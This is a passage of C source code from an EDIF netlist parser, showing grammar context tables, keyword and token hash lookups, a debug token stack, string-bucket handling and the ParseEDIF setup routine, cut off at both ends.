BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_FillPattern[] = {BOOLEAN}; static short f_Follow[] = {NAME,PORTREF,TABLE,DELAY,LOADDELAY}; static short f_ForbiddenEvent[] = {TIMEINTERVAL,EVENT}; static short f_GlobalPortRef[] = {NAME}; static short f_GreaterThan[] = {E}; static short f_GridMap[] = {E}; static short f_IncludeFigureGroup[] = { FIGUREGROUPREF,INTERSECTION,UNION,DIFFERENCE,INVERSE,OVERSIZE }; static short f_Instance[] = { NAME,RENAME,ARRAY,VIEWREF,VIEWLIST,-TRANSFORM,PARAMETERASSIGN,PORTINSTANCE, TIMING,-DESIGNATOR,PROPERTY,COMMENT,USERDATA }; static short f_InstanceBackAnnotate[] = { INSTANCEREF,-DESIGNATOR,TIMING,PROPERTY,COMMENT }; static short f_InstanceGroup[] = {INSTANCEREF}; static short f_InstanceMap[] = { INSTANCEREF,INSTANCEGROUP,COMMENT,USERDATA }; static short f_InstanceRef[] = {NAME,MEMBER,INSTANCEREF,VIEWREF}; static short f_Integer[] = {INTEGERDISPLAY,INTEGER}; static short f_IntegerDisplay[] = {DISPLAY}; static short f_Interface[] = { PORT,PORTBUNDLE,-SYMBOL,-PROTECTIONFRAME,-ARRAYRELATEDINFO,PARAMETER, JOINED,MUSTJOIN,WEAKJOINED,PERMUTABLE,TIMING,SIMULATE,-DESIGNATOR,PROPERTY, COMMENT,USERDATA }; static short f_InterFigureGroupSpacing[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY, BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_Intersection[] = { FIGUREGROUPREF,INTERSECTION,UNION,DIFFERENCE,INVERSE,OVERSIZE }; static short f_IntraFigureGroupSpacing[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY, BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_Inverse[] = { FIGUREGROUPREF,INTERSECTION,UNION,DIFFERENCE,INVERSE,OVERSIZE }; static short f_Joined[] = {PORTREF,PORTLIST,GLOBALPORTREF}; static short f_KeywordDisplay[] = {DISPLAY}; static short f_KeywordMap[] = {KEYWORDLEVEL,COMMENT}; static short f_LessThan[] = {E}; static short f_Library[] = { NAME,RENAME,EDIFLEVEL,TECHNOLOGY,-STATUS,CELL,COMMENT,USERDATA }; static short f_LibraryRef[] = {NAME}; static short f_ListOfNets[] = {NET}; static short f_ListOfPorts[] = {PORT,PORTBUNDLE}; static short f_LoadDelay[] = {MNM,E,MINOMAXDISPLAY}; static short f_LogicAssign[] = {NAME,PORTREF,LOGICREF,TABLE,DELAY,LOADDELAY}; static short f_LogicInput[] = {PORTLIST,PORTREF,NAME,LOGICWAVEFORM}; static short f_LogicList[] = {NAME,LOGICONEOF,IGNORE}; static short f_LogicMapInput[] = {LOGICREF}; static short f_LogicMapOutput[] = {LOGICREF}; static short f_LogicOneOf[] = {NAME,LOGICLIST}; static short f_LogicOutput[] = {PORTLIST,PORTREF,NAME,LOGICWAVEFORM}; static short f_LogicPort[] = {NAME,RENAME,PROPERTY,COMMENT,USERDATA}; static short f_LogicRef[] = {NAME,LIBRARYREF}; static short f_LogicValue[] = { NAME,RENAME,-VOLTAGEMAP,-CURRENTMAP,-BOOLEANMAP,-COMPOUND,-WEAK,-STRONG, -DOMINATES,-LOGICMAPOUTPUT,-LOGICMAPINPUT,-ISOLATED,RESOLVES,PROPERTY, COMMENT,USERDATA }; static short f_LogicWaveform[] = {NAME,LOGICLIST,LOGICONEOF,IGNORE}; static short f_Maintain[] = {NAME,PORTREF,DELAY,LOADDELAY}; static short f_Match[] = {NAME,PORTREF,PORTLIST,LOGICLIST,LOGICONEOF}; static short f_Member[] = {NAME}; static short f_MiNoMax[] = {MNM,E,MINOMAXDISPLAY,MINOMAX}; static short f_MiNoMaxDisplay[] = {MNM,E,DISPLAY}; static short f_Mnm[] = {E,UNDEFINED,UNCONSTRAINED}; static short f_MultipleValueSet[] = {RANGEVECTOR}; static short f_MustJoin[] = {PORTREF,PORTLIST,WEAKJOINED,JOINED}; static short f_Name[] = {DISPLAY}; static short f_Net[] = { NAME,RENAME,-CRITICALITY,NETDELAY,FIGURE,NET,INSTANCE,COMMENTGRAPHICS, PROPERTY,COMMENT,USERDATA,JOINED,ARRAY }; static short f_NetBackAnnotate[] = { NETREF,NETDELAY,-CRITICALITY,PROPERTY,COMMENT }; static short f_NetBundle[] = { NAME,RENAME,ARRAY,LISTOFNETS,FIGURE,COMMENTGRAPHICS,PROPERTY,COMMENT, USERDATA }; static short f_NetDelay[] = {DERIVATION,DELAY,TRANSITION,BECOMES}; static short f_NetGroup[] = {NAME,MEMBER,NETREF}; static short f_NetMap[] = {NETREF,NETGROUP,COMMENT,USERDATA}; static short f_NetRef[] = {NAME,MEMBER,NETREF,INSTANCEREF,VIEWREF}; static short f_NonPermutable[] = {PORTREF,PERMUTABLE}; static short f_NotAllowed[] = { NAME,RENAME,FIGUREGROUPOBJECT,COMMENT,USERDATA }; static short f_NotchSpacing[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY, BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_Number[] = {E,NUMBERDISPLAY,NUMBER}; static short f_NumberDefinition[] = {SCALE,-GRIDMAP,COMMENT}; static short f_NumberDisplay[] = {E,DISPLAY}; static short f_OffPageConnector[] = { NAME,RENAME,-UNUSED,PROPERTY,COMMENT,USERDATA }; static short f_OffsetEvent[] = {EVENT,E}; static short f_OpenShape[] = {CURVE,PROPERTY}; static short f_Origin[] = {PT}; static short f_OverhangDistance[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY, BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_OverlapDistance[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY, BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_Oversize[] = { FIGUREGROUPREF,INTERSECTION,UNION,DIFFERENCE,INVERSE,OVERSIZE,CORNERTYPE }; static short f_Page[] = { NAME,RENAME,ARRAY,INSTANCE,NET,NETBUNDLE,COMMENTGRAPHICS,PORTIMPLEMENTATION, -PAGESIZE,-BOUNDINGBOX,COMMENT,USERDATA }; static short f_PageSize[] = {RECTANGLE}; static short f_Parameter[] = { NAME,RENAME,ARRAY,BOOLEAN,INTEGER,MINOMAX,NUMBER,POINT,STRING }; static short f_ParameterAssign[] = { NAME,MEMBER,BOOLEAN,INTEGER,MINOMAX,NUMBER,POINT,STRING }; static short f_ParameterDisplay[] = {NAME,MEMBER,DISPLAY}; static short f_Path[] = {POINTLIST,PROPERTY}; static short f_PathDelay[] = {DELAY,EVENT}; static short f_Permutable[] = {PORTREF,PERMUTABLE,NONPERMUTABLE}; static short f_PhysicalDesignRule[] = { FIGUREWIDTH,FIGUREAREA,RECTANGLESIZE,FIGUREPERIMETER,OVERLAPDISTANCE, OVERHANGDISTANCE,ENCLOSUREDISTANCE,INTERFIGUREGROUPSPACING,NOTCHSPACING, INTRAFIGUREGROUPSPACING,NOTALLOWED,FIGUREGROUP,COMMENT,USERDATA }; static short f_Plug[] = {SOCKETSET}; static short f_Point[] = {PT,POINTDISPLAY,POINT}; static short f_PointDisplay[] = {PT,DISPLAY}; static short f_PointList[] = {PT}; static short f_Polygon[] = {POINTLIST,PROPERTY}; static short f_Port[] = { NAME,RENAME,ARRAY,-DIRECTION,-UNUSED,PORTDELAY,-DESIGNATOR,-DCFANINLOAD, -DCFANOUTLOAD,-DCMAXFANIN,-DCMAXFANOUT,-ACLOAD,PROPERTY,COMMENT,USERDATA }; static short f_PortBackAnnotate[] = { PORTREF,-DESIGNATOR,PORTDELAY,-DCFANINLOAD,-DCFANOUTLOAD,-DCMAXFANIN, -DCMAXFANOUT,-ACLOAD,PROPERTY,COMMENT }; static short f_PortBundle[] = { NAME,RENAME,ARRAY,LISTOFPORTS,PROPERTY,COMMENT,USERDATA }; static short f_PortDelay[] = {DERIVATION,DELAY,LOADDELAY,TRANSITION,BECOMES}; static short f_PortGroup[] = {NAME,MEMBER,PORTREF}; static short f_PortImplementation[] = { PORTREF,NAME,MEMBER,-CONNECTLOCATION,FIGURE,INSTANCE,COMMENTGRAPHICS, PROPERTYDISPLAY,KEYWORDDISPLAY,PROPERTY,USERDATA,COMMENT }; static short f_PortInstance[] = { PORTREF,NAME,MEMBER,-UNUSED,PORTDELAY,-DESIGNATOR,-DCFANINLOAD,-DCFANOUTLOAD, -DCMAXFANIN,-DCMAXFANOUT,-ACLOAD,PROPERTY,COMMENT,USERDATA }; static short f_PortList[] = {PORTREF,NAME,MEMBER}; static short f_PortListAlias[] = {NAME,RENAME,ARRAY,PORTLIST}; static short f_PortMap[] = {PORTREF,PORTGROUP,COMMENT,USERDATA}; static short f_PortRef[] = {NAME,MEMBER,PORTREF,INSTANCEREF,VIEWREF}; static short f_Program[] = {VERSION}; static short f_Property[] = { NAME,RENAME,BOOLEAN,INTEGER,MINOMAX,NUMBER,POINT,STRING,-OWNER,-UNIT, PROPERTY,COMMENT }; static short f_PropertyDisplay[] = {NAME,DISPLAY}; static short f_ProtectionFrame[] = { PORTIMPLEMENTATION,FIGURE,INSTANCE,COMMENTGRAPHICS,-BOUNDINGBOX, PROPERTYDISPLAY,KEYWORDDISPLAY,PARAMETERDISPLAY,PROPERTY,COMMENT,USERDATA }; static short f_RangeVector[] = { LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY,BETWEEN,SINGLEVALUESET }; static short f_Rectangle[] = {PT,PROPERTY}; static short f_RectangleSize[] = { NAME,RENAME,FIGUREGROUPOBJECT,RANGEVECTOR,MULTIPLEVALUESET,COMMENT,USERDATA }; static short f_Rename[] = {NAME,STRINGDISPLAY}; static short f_Resolves[] = {NAME}; static short f_Scale[] = {E,UNIT}; static short f_Section[] = {SECTION,INSTANCE}; static short f_Shape[] = {CURVE,PROPERTY}; static short f_Simulate[] = { NAME,PORTLISTALIAS,WAVEVALUE,APPLY,COMMENT,USERDATA }; static short f_SimulationInfo[] = {LOGICVALUE,COMMENT,USERDATA}; static short f_SingleValueSet[] = { LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY,BETWEEN }; static short f_Site[] = {VIEWREF,TRANSFORM}; static short f_Socket[] = {SYMMETRY}; static short f_SocketSet[] = {SYMMETRY,SITE}; static short f_Status[] = {WRITTEN,COMMENT,USERDATA}; static short f_Steady[] = { NAME,MEMBER,PORTREF,PORTLIST,DURATION,TRANSITION,BECOMES }; static short f_String[] = {STRINGDISPLAY,STRING}; static short f_StringDisplay[] = {DISPLAY}; static short f_Strong[] = {NAME}; static short f_Symbol[] = { PORTIMPLEMENTATION,FIGURE,INSTANCE,COMMENTGRAPHICS,ANNOTATE,-PAGESIZE, -BOUNDINGBOX,PROPERTYDISPLAY,KEYWORDDISPLAY,PARAMETERDISPLAY,PROPERTY, COMMENT,USERDATA }; static short f_Symmetry[] = {TRANSFORM}; static short f_Table[] = {ENTRY,TABLEDEFAULT}; static short f_TableDefault[] = { LOGICREF,PORTREF,NOCHANGE,TABLE,DELAY,LOADDELAY }; static short f_Technology[] = { NUMBERDEFINITION,FIGUREGROUP,FABRICATE,-SIMULATIONINFO,COMMENT,USERDATA, -PHYSICALDESIGNRULE }; static short f_TimeInterval[] = {EVENT,OFFSETEVENT,DURATION}; static short f_Timing[] = { DERIVATION,PATHDELAY,FORBIDDENEVENT,COMMENT,USERDATA }; static short f_Transform[] = {SCALEX,SCALEY,DELTA,ORIENTATION,ORIGIN}; static short f_Transition[] = {NAME,LOGICLIST,LOGICONEOF}; static short f_Trigger[] = {CHANGE,STEADY,INITIAL}; static short f_Union[] = { FIGUREGROUPREF,INTERSECTION,UNION,DIFFERENCE,INVERSE,OVERSIZE }; static short f_View[] = { NAME,RENAME,VIEWTYPE,INTERFACE,-STATUS,-CONTENTS,COMMENT,PROPERTY,USERDATA }; static short f_ViewList[] = {VIEWREF,VIEWLIST}; static short f_ViewMap[] = { PORTMAP,PORTBACKANNOTATE,INSTANCEMAP,INSTANCEBACKANNOTATE,NETMAP, NETBACKANNOTATE,COMMENT,USERDATA }; static short f_ViewRef[] = {NAME,CELLREF}; static short f_Visible[] = {FALSE,TRUE}; static short f_VoltageMap[] = {MNM,E}; static short f_WaveValue[] = {NAME,RENAME,E,LOGICWAVEFORM}; static short f_Weak[] = {NAME}; static short f_WeakJoined[] = {PORTREF,PORTLIST,JOINED}; static short f_When[] = { TRIGGER,AFTER,FOLLOW,MAINTAIN,LOGICASSIGN,COMMENT,USERDATA }; static short f_Written[] = { TIMESTAMP,AUTHOR,PROGRAM,DATAORIGIN,PROPERTY,COMMENT,USERDATA }; /* * Context binding table: * * This binds context follower arrays to their originating context. */ typedef struct Binder { short *Follower; /* pointer to follower array */ short Origin; /* '%token' value of origin */ short FollowerSize; /* size of follower array */ } Binder; #define BE(f,o) {f,o,sizeof(f)/sizeof(short)} static Binder BinderDef[] = { BE(f_NULL, 0), BE(f_Edif, EDIF), BE(f_AcLoad, ACLOAD), BE(f_After, AFTER), BE(f_Annotate, ANNOTATE), BE(f_Apply, APPLY), BE(f_Arc, ARC), BE(f_Array, ARRAY), BE(f_ArrayMacro, ARRAYMACRO), BE(f_ArrayRelatedInfo,ARRAYRELATEDINFO), BE(f_ArraySite, ARRAYSITE), BE(f_AtLeast, ATLEAST), BE(f_AtMost, ATMOST), BE(f_Becomes, BECOMES), BE(f_Boolean, BOOLEAN), BE(f_BooleanDisplay, BOOLEANDISPLAY), BE(f_BooleanMap, BOOLEANMAP), BE(f_BorderPattern, BORDERPATTERN), BE(f_BoundingBox, BOUNDINGBOX), BE(f_Cell, CELL), BE(f_CellRef, CELLREF), BE(f_Change, CHANGE), BE(f_Circle, CIRCLE), BE(f_Color, COLOR), BE(f_CommentGraphics, COMMENTGRAPHICS), BE(f_Compound, COMPOUND), BE(f_ConnectLocation, CONNECTLOCATION), BE(f_Contents, CONTENTS), BE(f_Criticality, CRITICALITY), BE(f_CurrentMap, CURRENTMAP), BE(f_Curve, CURVE), BE(f_Cycle, CYCLE), BE(f_DataOrigin, DATAORIGIN), BE(f_DcFanInLoad, DCFANINLOAD), BE(f_DcFanOutLoad, DCFANOUTLOAD), BE(f_DcMaxFanIn, DCMAXFANIN), BE(f_DcMaxFanOut, DCMAXFANOUT), BE(f_Delay, DELAY), BE(f_Delta, DELTA), BE(f_Design, DESIGN), BE(f_Designator, DESIGNATOR), BE(f_Difference, DIFFERENCE), BE(f_Display, DISPLAY), BE(f_Dominates, DOMINATES), BE(f_Dot, DOT), BE(f_Duration, DURATION), BE(f_EnclosureDistance,ENCLOSUREDISTANCE), BE(f_Entry, ENTRY), BE(f_Exactly, EXACTLY), BE(f_External, EXTERNAL), BE(f_Fabricate, FABRICATE), BE(f_Figure, FIGURE), BE(f_FigureArea, FIGUREAREA), BE(f_FigureGroup, FIGUREGROUP), BE(f_FigureGroupObject, FIGUREGROUPOBJECT), BE(f_FigureGroupOverride, FIGUREGROUPOVERRIDE), BE(f_FigureGroupRef, FIGUREGROUPREF), BE(f_FigurePerimeter, FIGUREPERIMETER), BE(f_FigureWidth, FIGUREWIDTH), BE(f_FillPattern, FILLPATTERN), BE(f_Follow, FOLLOW), BE(f_ForbiddenEvent, FORBIDDENEVENT), BE(f_GlobalPortRef, GLOBALPORTREF), BE(f_GreaterThan, GREATERTHAN), BE(f_GridMap, GRIDMAP), BE(f_IncludeFigureGroup, INCLUDEFIGUREGROUP), BE(f_Instance, INSTANCE), BE(f_InstanceBackAnnotate,INSTANCEBACKANNOTATE), BE(f_InstanceGroup, INSTANCEGROUP), BE(f_InstanceMap, INSTANCEMAP), BE(f_InstanceRef, INSTANCEREF), BE(f_Integer, INTEGER), BE(f_IntegerDisplay, INTEGERDISPLAY), BE(f_InterFigureGroupSpacing, INTERFIGUREGROUPSPACING), BE(f_Interface, INTERFACE), BE(f_Intersection, INTERSECTION), BE(f_IntraFigureGroupSpacing, INTRAFIGUREGROUPSPACING), BE(f_Inverse, INVERSE), BE(f_Joined, JOINED), BE(f_KeywordDisplay, KEYWORDDISPLAY), BE(f_KeywordMap, KEYWORDMAP), BE(f_LessThan, LESSTHAN), BE(f_Library, LIBRARY), BE(f_LibraryRef, LIBRARYREF), BE(f_ListOfNets, LISTOFNETS), BE(f_ListOfPorts, LISTOFPORTS), BE(f_LoadDelay, LOADDELAY), BE(f_LogicAssign, LOGICASSIGN), BE(f_LogicInput, LOGICINPUT), BE(f_LogicList, LOGICLIST), BE(f_LogicMapInput, LOGICMAPINPUT), BE(f_LogicMapOutput, LOGICMAPOUTPUT), BE(f_LogicOneOf, LOGICONEOF), BE(f_LogicOutput, LOGICOUTPUT), BE(f_LogicPort, LOGICPORT), BE(f_LogicRef, LOGICREF), BE(f_LogicValue, LOGICVALUE), BE(f_LogicWaveform, LOGICWAVEFORM), BE(f_Maintain, MAINTAIN), BE(f_Match, MATCH), BE(f_Member, MEMBER), BE(f_MiNoMax, MINOMAX), BE(f_MiNoMaxDisplay, MINOMAXDISPLAY), BE(f_Mnm, MNM), BE(f_MultipleValueSet,MULTIPLEVALUESET), BE(f_MustJoin, MUSTJOIN), BE(f_Name, NAME), BE(f_Net, NET), BE(f_NetBackAnnotate, NETBACKANNOTATE), BE(f_NetBundle, NETBUNDLE), BE(f_NetDelay, NETDELAY), BE(f_NetGroup, NETGROUP), BE(f_NetMap, NETMAP), BE(f_NetRef, NETREF), BE(f_NonPermutable, NONPERMUTABLE), BE(f_NotAllowed, NOTALLOWED), BE(f_NotchSpacing, NOTCHSPACING), BE(f_Number, NUMBER), BE(f_NumberDefinition,NUMBERDEFINITION), BE(f_NumberDisplay, NUMBERDISPLAY), BE(f_OffPageConnector,OFFPAGECONNECTOR), BE(f_OffsetEvent, OFFSETEVENT), BE(f_OpenShape, OPENSHAPE), BE(f_Origin, ORIGIN), BE(f_OverhangDistance,OVERHANGDISTANCE), BE(f_OverlapDistance, OVERLAPDISTANCE), BE(f_Oversize, OVERSIZE), BE(f_Page, PAGE), BE(f_PageSize, PAGESIZE), BE(f_Parameter, PARAMETER), BE(f_ParameterAssign, PARAMETERASSIGN), BE(f_ParameterDisplay,PARAMETERDISPLAY), BE(f_Path, PATH), BE(f_PathDelay, PATHDELAY), BE(f_Permutable, PERMUTABLE), BE(f_PhysicalDesignRule, PHYSICALDESIGNRULE), BE(f_Plug, PLUG), BE(f_Point, POINT), BE(f_PointDisplay, POINTDISPLAY), BE(f_PointList, POINTLIST), BE(f_Polygon, POLYGON), BE(f_Port, PORT), BE(f_PortBackAnnotate,PORTBACKANNOTATE), BE(f_PortBundle, PORTBUNDLE), BE(f_PortDelay, PORTDELAY), BE(f_PortGroup, PORTGROUP), BE(f_PortImplementation,PORTIMPLEMENTATION), BE(f_PortInstance, PORTINSTANCE), BE(f_PortList, PORTLIST), BE(f_PortListAlias, PORTLISTALIAS), BE(f_PortMap, PORTMAP), BE(f_PortRef, PORTREF), BE(f_Program, PROGRAM), BE(f_Property, PROPERTY), BE(f_PropertyDisplay, PROPERTYDISPLAY), BE(f_ProtectionFrame, PROTECTIONFRAME), BE(f_RangeVector, RANGEVECTOR), BE(f_Rectangle, RECTANGLE), BE(f_RectangleSize, RECTANGLESIZE), BE(f_Rename, RENAME), BE(f_Resolves, RESOLVES), BE(f_Scale, SCALE), BE(f_Section, SECTION), BE(f_Shape, SHAPE), BE(f_Simulate, SIMULATE), BE(f_SimulationInfo, SIMULATIONINFO), BE(f_SingleValueSet, SINGLEVALUESET), BE(f_Site, SITE), BE(f_Socket, SOCKET), BE(f_SocketSet, SOCKETSET), BE(f_Status, STATUS), BE(f_Steady, STEADY), BE(f_String, STRING), BE(f_StringDisplay, STRINGDISPLAY), BE(f_Strong, STRONG), BE(f_Symbol, SYMBOL), BE(f_Symmetry, SYMMETRY), BE(f_Table, TABLE), BE(f_TableDefault, TABLEDEFAULT), BE(f_Technology, TECHNOLOGY), BE(f_TimeInterval, TIMEINTERVAL), BE(f_Timing, TIMING), BE(f_Transform, TRANSFORM), BE(f_Transition, TRANSITION), BE(f_Trigger, TRIGGER), BE(f_Union, UNION), BE(f_View, VIEW), BE(f_ViewList, VIEWLIST), BE(f_ViewMap, VIEWMAP), BE(f_ViewRef, VIEWREF), BE(f_Visible, VISIBLE), BE(f_VoltageMap, VOLTAGEMAP), BE(f_WaveValue, WAVEVALUE), BE(f_Weak, WEAK), BE(f_WeakJoined, WEAKJOINED), BE(f_When, WHEN), BE(f_Written, WRITTEN) }; static int BinderDefSize = sizeof(BinderDef) / sizeof(Binder); /* * Keyword table: * * This hash table holds all strings which may have to be matched * to. WARNING: it is assumed that there is no overlap of the 'token' * and 'context' strings. */ typedef struct Keyword { struct Keyword *Next; /* pointer to next entry */ char *String; /* pointer to associated string */ } Keyword; #define KEYWORD_HASH 127 /* hash table size */ static Keyword *KeywordTable[KEYWORD_HASH]; /* * Enter keyword: * * The passed string is entered into the keyword hash table. */ static EnterKeyword(str) char *str; { register Keyword *key; register unsigned int hsh; register char *cp; /* * Create the hash code, and add an entry to the table. */ for (hsh = 0, cp = str; *cp; hsh += hsh + *cp++); hsh %= KEYWORD_HASH; key = (Keyword *) Malloc(sizeof(Keyword)); key->Next = KeywordTable[hsh]; (KeywordTable[hsh] = key)->String = str; } /* * Find keyword: * * The passed string is located within the keyword table. If an * entry exists, then the value of the keyword string is returned. This * is real useful for doing string comparisons by pointer value later. * If there is no match, a NULL is returned. */ static char *FindKeyword(str) char *str; { register Keyword *wlk,*owk; register unsigned int hsh; register char *cp; char lower[IDENT_LENGTH + 1]; /* * Create a lower case copy of the string. */ for (cp = lower; *str;) if (isupper(*str)) *cp++ = tolower(*str++); else *cp++ = *str++; *cp = '\0'; /* * Search the hash table for a match. */ for (hsh = 0, cp = lower; *cp; hsh += hsh + *cp++); hsh %= KEYWORD_HASH; for (owk = NULL, wlk = KeywordTable[hsh]; wlk; wlk = (owk = wlk)->Next) if (!strcmp(wlk->String,lower)){ /* * Readjust the LRU. */ if (owk){ owk->Next = wlk->Next; wlk->Next = KeywordTable[hsh]; KeywordTable[hsh] = wlk; } return (wlk->String); } return (NULL); } /* * Token hash table. */ #define TOKEN_HASH 51 static Token *TokenHash[TOKEN_HASH]; /* * Find token: * * A pointer to the token of the passed code is returned. If * no such beastie is present a NULL is returned instead. */ static Token *FindToken(cod) register int cod; { register Token *wlk,*owk; register unsigned int hsh; /* * Search the hash table for a matching token. */ hsh = cod % TOKEN_HASH; for (owk = NULL, wlk = TokenHash[hsh]; wlk; wlk = (owk = wlk)->Next) if (cod == wlk->Code){ if (owk){ owk->Next = wlk->Next; wlk->Next = TokenHash[hsh]; TokenHash[hsh] = wlk; } break; } return (wlk); } /* * Context hash table. */ #define CONTEXT_HASH 127 static Context *ContextHash[CONTEXT_HASH]; /* * Find context: * * A pointer to the context of the passed code is returned. If * no such beastie is present a NULL is returned instead. */ static Context *FindContext(cod) register int cod; { register Context *wlk,*owk; register unsigned int hsh; /* * Search the hash table for a matching context. */ hsh = cod % CONTEXT_HASH; for (owk = NULL, wlk = ContextHash[hsh]; wlk; wlk = (owk = wlk)->Next) if (cod == wlk->Code){ if (owk){ owk->Next = wlk->Next; wlk->Next = ContextHash[hsh]; ContextHash[hsh] = wlk; } break; } return (wlk); } /* * Token stacking variables. */ #ifdef DEBUG #define TS_DEPTH 8 #define TS_MASK (TS_DEPTH - 1) static unsigned int TSP = 0; /* token stack pointer */ static char *TokenStack[TS_DEPTH]; /* token name strings */ static short TokenType[TS_DEPTH]; /* token types */ /* * Stack: * * Add a token to the debug stack. The passed string and type are * what is to be pushed. */ static Stack(str,typ) char *str; int typ; { /* * Free any previous string, then push. */ if (TokenStack[TSP & TS_MASK]) Free(TokenStack[TSP & TS_MASK]); TokenStack[TSP & TS_MASK] = strcpy((char *)Malloc(strlen(str) + 1),str); TokenType[TSP & TS_MASK] = typ; TSP += 1; } /* * Dump stack: * * This displays the last set of accumulated tokens. */ static DumpStack() { register int i; register Context *cxt; register Token *tok; register char *nam; /* * Run through the list displaying the oldest first. */ fprintf(Error,"\n\n"); for (i = 0; i < TS_DEPTH; i += 1) if (TokenStack[(TSP + i) & TS_MASK]){ /* * Get the type name string. */ if (cxt = FindContext(TokenType[(TSP + i) & TS_MASK])) nam = cxt->Name; else if (tok = FindToken(TokenType[(TSP + i) & TS_MASK])) nam = tok->Name; else switch (TokenType[(TSP + i) & TS_MASK]){ case IDENT: nam = "IDENT"; break; case INT: nam = "INT"; break; case KEYWORD: nam = "KEYWORD"; break; case STR: nam = "STR"; break; default: nam = "?"; break; } /* * Now print the token state. */ fprintf(Error,"%2d %-16.16s '%s'\n",TS_DEPTH - i,nam, TokenStack[(TSP + i) & TS_MASK]); } fprintf(Error,"\n"); } #else #define Stack(s,t) #endif /* * yyerror: * * Standard error reporter, it prints out the passed string * preceeded by the current filename and line number. */ yyerror(ers) char *ers; { #ifdef DEBUG DumpStack(); #endif fprintf(Error,"%s, Line %d: %s\n", InFile, LineNumber, ers); } /* * String bucket definitions. */ #define BUCKET_SIZE 64 typedef struct Bucket { struct Bucket *Next; /* pointer to next bucket */ int Index; /* pointer to next free slot */ char Data[BUCKET_SIZE]; /* string data */ } Bucket; static Bucket *CurrentBucket = NULL; /* string bucket list */ int StringSize = 0; /* current string length */ /* * Push string: * * This adds the passed charater to the current string bucket. */ static PushString(chr) char chr; { register Bucket *bck; /* * Make sure there is room for the push. */ if ((bck = CurrentBucket)->Index >= BUCKET_SIZE){ bck = (Bucket *) Malloc(sizeof(Bucket)); bck->Next = CurrentBucket; (CurrentBucket = bck)->Index = 0; } /* * Push the character. */ bck->Data[bck->Index++] = chr; StringSize++; } /* * Form string: * * This converts the current string bucket into a real live string, * whose pointer is returned. */ char *FormString() { register Bucket *bck; register char *cp; /* * Allocate space for the string, set the pointer at the end. */ cp = (char *) Malloc(StringSize + 1); cp += StringSize; *cp-- = '\0'; /* * Yank characters out of the bucket. */ for (bck = CurrentBucket; bck->Index || (bck->Next !=NULL) ;){ if (!bck->Index){ CurrentBucket = bck->Next; Free(bck); bck = CurrentBucket; } *cp-- = bck->Data[--bck->Index]; } //fprintf(stderr,"FormStr:'%s'\n",cp+1); StringSize = 0; return (cp + 1); } /* * Parse EDIF: * * This builds the context tree and then calls the real parser. * It is passed two file streams, the first is where the input comes * from; the second is where error messages get printed. */ ParseEDIF(char* file_edf, FILE* err) { register int i; static int ContextDefined = 1; // initEdifData(); /* * Set up the file state to something useful. */ if( (Input = fopen(file_edf, "rt" )) == NULL ) { fprintf(stderr, "The file: %s does not exist.\n", file_edf); return(-1); } Error = err; FileEdf = file_edf; LineNumber = 1; fprintf(Error, "Parsing .edf file: %s ...\n", file_edf); /* * Define both the enabled token and context strings. */ if (ContextDefined){ for (i = TokenDefSize; i--; EnterKeyword(TokenDef[i].Name)){ register unsigned int hsh; hsh = TokenDef[i].Code % TOKEN_HASH; TokenDef[i].Next = TokenHash[hsh]; TokenHash[hsh] = &TokenDef[i]; } for (i = ContextDefSize; i--; EnterKeyword(ContextDef[i].Name)){ register unsigned int hsh; hsh = ContextDef[i].Code % CONTEXT_HASH; ContextDef[i].Next = ContextHash[hsh]; ContextHash[hsh] = &ContextDef[i]; } /* * Build the context tree. */ for (i = BinderDefSize; i--;){ register Context *cxt; register int j; /* * Define the current context to have carriers bound to it. */ cxt = FindContext(BinderDef[i].Origin); for (j = BinderDef[i].FollowerSize; j--;){ register ContextCar *cc; /* * Add carriers to the current context. */ cc = (ContextCar *) Malloc(sizeof(ContextCar)); cc->Next = cxt->Context; (cxt->Context = cc)->Context = FindContext(ABS(BinderDef[i].Follower[j])); cc->u.Single = BinderDef[i].Follower[j] < 0; } } /* * Build the token tree. */ for (i = TieDefSize; i--;){ register Context *cxt; register int j; /* * Define the current context to have carriers bound to it. */ cxt = FindContext(TieDef[i].Origin); for (j = TieDef[i].EnableSize; j--;){ register TokenCar *tc; /* * Add carriers to the current context. */ tc = (TokenCar *) Malloc(sizeof(TokenCar)); tc->Next = cxt->Token; (cxt->Token = tc)->Token = FindToken(TieDef[i].Enable[j]); } } /* * Put a bogus context on the stack which has 'EDIF' as its * follower. */ CSP = (ContextCar *) Malloc(sizeof(ContextCar)); CSP->Next = NULL; CSP->Context = FindContext(NULL); CSP->u.Used = NULL; ContextDefined = 0; } /* * Create an initial, empty string bucket. */ CurrentBucket = (Bucket *) Malloc(sizeof(Bucket)); CurrentBucket->Next = NULL; CurrentBucket->Index = 0; /* * Fill the token stack with NULLs if debugging is enabled. */ #ifdef DEBUG for (i = TS_DEPTH; i--; TokenStack[i] = NULL) if (TokenStack[i]) Free(TokenStack[i]); TSP = 0; #endif /* * Go parse things! */ yyparse(); fclose(Input); // DumpStack(); } /* * Match token: * * The passed string is looked up in the current context's token * list to see if it is enabled. If so the token value is returned, * if not then zero. */ static int MatchToken(str) register char *str; { register TokenCar *wlk,*owk; /* * Convert the string to the proper form, then search the token * carrier list for a match. */ str = FindKeyword(str); for (owk = NULL, wlk = CSP->Context->Token; wlk; wlk = (owk = wlk)->Next) if (str == wlk->Token->Name){ if (owk){ owk->Next = wlk->Next; wlk->Next = CSP->Context->Token; CSP->Context->Token = wlk; } return (wlk->Token->Code); } return (0); } /* * Match context: * * If the passed keyword string is within the current context, the * new context is pushed and token value is returned. A zero otherwise. */ static int MatchContext(str) register char *str; { register ContextCar *wlk,*owk; /* * See if the context is 